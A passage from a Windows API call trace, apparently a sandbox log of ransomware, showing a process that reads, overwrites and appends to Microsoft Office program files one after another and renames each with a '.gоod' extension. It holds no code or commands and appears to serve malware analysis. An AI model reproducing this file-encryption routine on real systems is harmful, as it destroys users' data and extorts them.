Office\\root\\Office16\\NAMECONTROLSERVER.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE", lpFilePart=0x0) returned 0x45 [0160.581] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE.gоod", lpFilePart=0x0) returned 0x4a [0160.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0160.581] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe2366bd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe2366bd3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5bec9c7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f278)) returned 1 [0160.583] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0160.583] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\NAMECONTROLSERVER.EXE.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\namecontrolserver.exe.gоod")) returned 1 [0160.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0160.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), fInfoLevelId=0x0, lpFileInformation=0x34e7e50 | out: lpFileInformation=0x34e7e50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c8126b0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15956)) returned 1 [0160.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0160.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0160.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.645] GetFileType (hFile=0x63c) returned 0x1 [0160.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0160.645] GetFileType (hFile=0x63c) returned 0x1 [0160.645] SetFilePointer (in: hFile=0x63c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0160.645] ReadFile (in: hFile=0x63c, lpBuffer=0x34e82f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34e82f8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0160.646] CloseHandle (hObject=0x63c) returned 1 [0160.646] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0160.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.646] GetFileType (hFile=0x63c) returned 0x1 [0160.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0160.646] GetFileType (hFile=0x63c) returned 0x1 [0160.646] SetFilePointer (in: hFile=0x63c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x15956 [0160.647] WriteFile (in: hFile=0x63c, lpBuffer=0x34e9690*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34e9690*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0160.647] CloseHandle (hObject=0x63c) returned 1 [0160.647] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0160.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.648] GetFileType (hFile=0x63c) returned 0x1 [0160.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0160.648] GetFileType (hFile=0x63c) returned 0x1 [0160.648] ReadFile (in: hFile=0x63c, lpBuffer=0x34eb940, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x34eb940*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0160.677] CloseHandle (hObject=0x63c) returned 1 [0160.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0160.677] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x63c [0160.677] GetFileType (hFile=0x63c) returned 0x1 [0160.677] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0160.677] GetFileType (hFile=0x63c) returned 0x1 [0160.677] WriteFile (in: hFile=0x63c, lpBuffer=0x34ea6a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34ea6a8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0160.677] CloseHandle (hObject=0x63c) returned 1 [0160.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip", lpFilePart=0x0) returned 0x3f [0160.677] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip.gоod", lpFilePart=0x0) returned 0x44 [0160.677] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0160.678] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5bfaecd1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15966)) returned 1 [0160.678] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0160.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Ocomprivate.zip.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocomprivate.zip.gоod")) returned 1 [0161.099] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0161.116] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), fInfoLevelId=0x0, lpFileInformation=0x367f990 | out: lpFileInformation=0x367f990*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed3aee76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3aee76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda6387a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e06d8)) returned 1 [0161.116] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0161.116] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.116] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.116] GetFileType (hFile=0x7dc) returned 0x1 [0161.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.117] GetFileType (hFile=0x7dc) returned 0x1 [0161.117] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0161.117] ReadFile (in: hFile=0x7dc, lpBuffer=0x36820a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x36820a8*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0161.120] CloseHandle (hObject=0x7dc) returned 1 [0161.120] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.120] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.120] GetFileType (hFile=0x7dc) returned 0x1 [0161.120] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.120] GetFileType (hFile=0x7dc) returned 0x1 [0161.120] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1e06d8 [0161.120] WriteFile (in: hFile=0x7dc, lpBuffer=0x3683360*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x3683360*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0161.122] CloseHandle (hObject=0x7dc) returned 1 [0161.122] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.122] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.122] GetFileType (hFile=0x7dc) returned 0x1 [0161.122] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.122] GetFileType (hFile=0x7dc) returned 0x1 [0161.122] ReadFile (in: hFile=0x7dc, lpBuffer=0x3685890, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3685890*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0161.223] CloseHandle (hObject=0x7dc) returned 1 [0161.223] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.223] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.223] GetFileType (hFile=0x7dc) returned 0x1 [0161.223] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.223] GetFileType (hFile=0x7dc) returned 0x1 [0161.223] WriteFile (in: hFile=0x7dc, lpBuffer=0x34ecbe8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34ecbe8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0161.223] CloseHandle (hObject=0x7dc) returned 1 [0161.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe", lpFilePart=0x0) returned 0x3c [0161.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe.gоod", lpFilePart=0x0) returned 0x41 [0161.224] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0161.224] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xed3aee76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xed3aee76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c4e5d6d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e06e8)) returned 1 [0161.224] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0161.224] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OcPubMgr.exe.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\ocpubmgr.exe.gоod")) returned 1 [0161.225] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.225] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7e0) returned 1 [0161.225] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), fInfoLevelId=0x0, lpFileInformation=0x34fb250 | out: lpFileInformation=0x34fb250*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1c884dc0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x172bc)) returned 1 [0161.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e7a0) returned 1 [0161.226] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.226] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.226] GetFileType (hFile=0x7dc) returned 0x1 [0161.226] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.226] GetFileType (hFile=0x7dc) returned 0x1 [0161.226] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x1000 [0161.226] ReadFile (in: hFile=0x7dc, lpBuffer=0x34fb648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e808, lpOverlapped=0x0 | out: lpBuffer=0x34fb648*, lpNumberOfBytesRead=0x1f59e808*=0x1000, lpOverlapped=0x0) returned 1 [0161.228] CloseHandle (hObject=0x7dc) returned 1 [0161.228] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.228] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.228] GetFileType (hFile=0x7dc) returned 0x1 [0161.228] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.228] GetFileType (hFile=0x7dc) returned 0x1 [0161.228] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59e838*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59e838*=0) returned 0x172bc [0161.228] WriteFile (in: hFile=0x7dc, lpBuffer=0x34fc8d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59e728, lpOverlapped=0x0 | out: lpBuffer=0x34fc8d0*, lpNumberOfBytesWritten=0x1f59e728*=0x10, lpOverlapped=0x0) returned 1 [0161.232] CloseHandle (hObject=0x7dc) returned 1 [0161.232] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.232] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.232] GetFileType (hFile=0x7dc) returned 0x1 [0161.232] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.232] GetFileType (hFile=0x7dc) returned 0x1 [0161.232] ReadFile (in: hFile=0x7dc, lpBuffer=0x3515270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59e7b8, lpOverlapped=0x0 | out: lpBuffer=0x3515270*, lpNumberOfBytesRead=0x1f59e7b8*=0x1000, lpOverlapped=0x0) returned 1 [0161.977] CloseHandle (hObject=0x7dc) returned 1 [0161.977] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e1c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e6e0) returned 1 [0161.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0161.978] GetFileType (hFile=0x7dc) returned 0x1 [0161.978] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e650) returned 1 [0161.978] GetFileType (hFile=0x7dc) returned 0x1 [0161.978] WriteFile (in: hFile=0x7dc, lpBuffer=0x34f38a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59e868, lpOverlapped=0x0 | out: lpBuffer=0x34f38a8*, lpNumberOfBytesWritten=0x1f59e868*=0x1010, lpOverlapped=0x0) returned 1 [0161.978] CloseHandle (hObject=0x7dc) returned 1 [0161.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL", lpFilePart=0x0) returned 0x3c [0161.978] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL.gоod", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL.gоod", lpFilePart=0x0) returned 0x41 [0161.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59e7a0) returned 1 [0161.979] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), fInfoLevelId=0x0, lpFileInformation=0x1f59e880 | out: lpFileInformation=0x1f59e880*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5cc33442, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x172cc)) returned 1 [0161.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59e760) returned 1 [0161.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\OMML2MML.XSL.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\omml2mml.xsl.gоod")) returned 1 [0161.980] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ONENOTE.EXE", nBufferLength=0x105, lpBuffer=0x1f59e310, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft 